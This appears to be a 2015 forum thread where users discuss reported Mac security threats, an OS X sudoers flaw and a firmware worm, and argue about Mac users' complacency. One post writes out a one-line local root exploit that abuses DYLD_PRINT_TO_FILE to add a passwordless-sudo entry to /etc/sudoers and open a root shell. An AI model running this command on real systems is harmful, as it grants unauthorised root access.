Two new security threats for Mac

[Kaido]

http://www.engadget.com/2015/08/04/osx-sudoers-flaw/

http://www.engadget.com/2015/08/03/mac-firmware-worm/

 

[mmntech]

Another day, another exploit for something.

 

[Mushkins]

Another day, another exploit for something.

Pretty much. The scary part is how Apple used how few Mac viruses were out there as part of their marketing spin to lead a massive portion of their userbase into a false sense of security for years. Now that their sales have soared over the past 5-10 years, Mac malware has been considerably on the rise yet I still hear people every day parrot off how Macs "just don't get viruses" like they're magically immune.

 

[JAG87]

These articles are so dumb, it's beyond believe how stupid they are. Let's see... Use an admin user account, check. Turn Gatekeeper off, check. Click on anything and everything, check.

You know what, you deserve a virus.

 

[Oyeve]

Pretty much. The scary part is how Apple used how few Mac viruses were out there as part of their marketing spin to lead a massive portion of their userbase into a false sense of security for years. Now that their sales have soared over the past 5-10 years, Mac malware has been considerably on the rise yet I still hear people every day parrot off how Macs "just don't get viruses" like they're magically immune.

I always thought of macs being more of a carrier of viruses and bad things.

 

[dave_the_nerd]

These articles are so dumb, it's beyond believe how stupid they are. Let's see... Use an admin user account, check. Turn Gatekeeper off, check. Click on anything and everything, check.

You know what, you deserve a virus.

This.

 

[Rottie]

These articles are so dumb, it's beyond believe how stupid they are. Let's see... Use an admin user account, check. Turn Gatekeeper off, check. Click on anything and everything, check.

You know what, you deserve a virus.

I'm following you...I use admin user account, check...Turn Gatekeeper off, check....Click on anything and everything, check....

BUT I never got a virus yet.....

 

[SKORPI0]

http://www.theregister.co.uk/2015/07/22/os_x_root_hole/

echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s

 

[dave_the_nerd]

http://www.theregister.co.uk/2015/07/22/os_x_root_hole/

MacOS X is BSD based, and the engineers are all crazy. So some of the shell stuff is... unique.